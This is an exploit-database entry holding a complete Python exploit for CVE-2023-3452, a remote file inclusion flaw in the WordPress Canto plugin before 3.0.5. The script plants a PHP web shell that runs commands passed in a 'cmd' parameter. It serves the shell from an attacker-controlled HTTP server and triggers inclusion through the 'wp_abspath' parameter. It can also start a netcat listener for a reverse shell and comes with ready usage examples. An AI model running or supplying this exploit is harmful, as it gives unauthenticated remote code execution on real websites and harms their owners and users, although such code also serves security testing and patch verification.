WordPress Plugin Canto < 3.0.5 - Remote File Inclusion (RFI) and Remote Code Execution (RCE)
# Exploit Title: Wordpress Plugin Canto < 3.0.5 - Remote File Inclusion (RFI) and Remote Code Execution (RCE) # Date: 04/11/2023 # Exploit Author: Leopoldo Angulo (leoanggal1) # Vendor Homepage: https://wordpress.org/plugins/canto/ # Software Link: https://downloads.wordpress.org/plugin/canto.3.0.4.zip # Version: All versions of Canto Plugin prior to 3.0.5 # Tested on: Ubuntu 22.04, Wordpress 6.3.2, Canto Plugin 3.0.4 # CVE : CVE-2023-3452 #PoC Notes: #The Canto plugin for WordPress is vulnerable to Remote File Inclusion in versions up to, and including, 3.0.4 via the 'wp_abspath' parameter. This allows unauthenticated attackers to include and execute arbitrary remote code on the server, provided that allow_url_include is enabled. (Reference: https://nvd.nist.gov/vuln/detail/CVE-2023-3452) #This code exploits the improper handling of the wp_abspath variable in the following line of the "download.php" code: #... require_once($_REQUEST['wp_abspath'] . '/wp-admin/admin.php'); ... #This is just an example but there is this same misconfiguration in other lines of the vulnerable plugin files. # More information in Leoanggal1's Github #!/usr/bin/python3 import argparse import http.server import socketserver import threading import requests import os import subprocess # Define the default web shell default_web_shell = "<?php system($_GET['cmd']); ?>" def create_admin_file(local_dir, local_shell=None): if not os.path.exists(local_dir): os.makedirs(local_dir) # If a local shell is provided, use it; otherwise, use the default web shell if local_shell: with open(f"{local_dir}/admin.php", "wb") as admin_file: with open(local_shell, "rb") as original_file: admin_file.write(original_file.read()) else: with open(f"{local_dir}/admin.php", "w") as admin_file: admin_file.write(default_web_shell) def start_local_server(local_port): Handler = http.server.SimpleHTTPRequestHandler httpd = socketserver.TCPServer(("0.0.0.0", local_port), Handler) print(f"Local web server on port {local_port}...") httpd.serve_forever() return httpd def exploit_rfi(url, local_shell, local_host, local_port, command, nc_port): local_dir = "wp-admin" create_admin_file(local_dir, local_shell) target_url = f"{url}/wp-content/plugins/canto/includes/lib/download.php" local_server = f"http://{local_host}:{local_port}" command = f"cmd={command}" if local_shell: # If a local shell is provided, start netcat on the specified port subprocess.Popen(["nc", "-lvp", str(nc_port)]) server_thread = threading.Thread(target=start_local_server, args=(local_port,)) server_thread.daemon = True server_thread.start() exploit_url = f"{target_url}?wp_abspath={local_server}&{command}" print(f"Exploitation URL: {exploit_url}") response = requests.get(exploit_url) print("Server response:") print(response.text) # Shutdown the local web server print("Shutting down local web server...") server_thread.join() if __name__ == "__main__": examples = ''' Examples: - Check the vulnerability python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33 - Execute a command python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33 -c 'id' - Upload and run a reverse shell file. You can download it from https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php or generate it with msfvenom. python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33 -s php-reverse-shell.php ''' parser = argparse.ArgumentParser(description="Script to exploit the Remote File Inclusion vulnerability in the Canto plugin for WordPress - CVE-2023-3452", epilog=examples, formatter_class=argparse.RawDescriptionHelpFormatter) parser.add_argument("-u", "--url", required=True, default=None, help="Vulnerable URL") parser.add_argument("-s", "--shell", help="Local file for web shell") parser.add_argument("-LHOST", "--local_host", required=True, help="Local web server IP") parser.add_argument("-LPORT", "--local_port", help="Local web server port") parser.add_argument("-c", "--command", default="whoami", help="Command to execute on the target") parser.add_argument("-NC_PORT", "--nc_port", type=int, help="Listener port for netcat") try: args = parser.parse_args() if args.local_port is None: args.local_port = 8080 # Valor predeterminado si LPORT no se proporciona exploit_rfi(args.url, args.shell, args.local_host, int(args.local_port), args.command, args.nc_port) except SystemExit: parser.print_help() |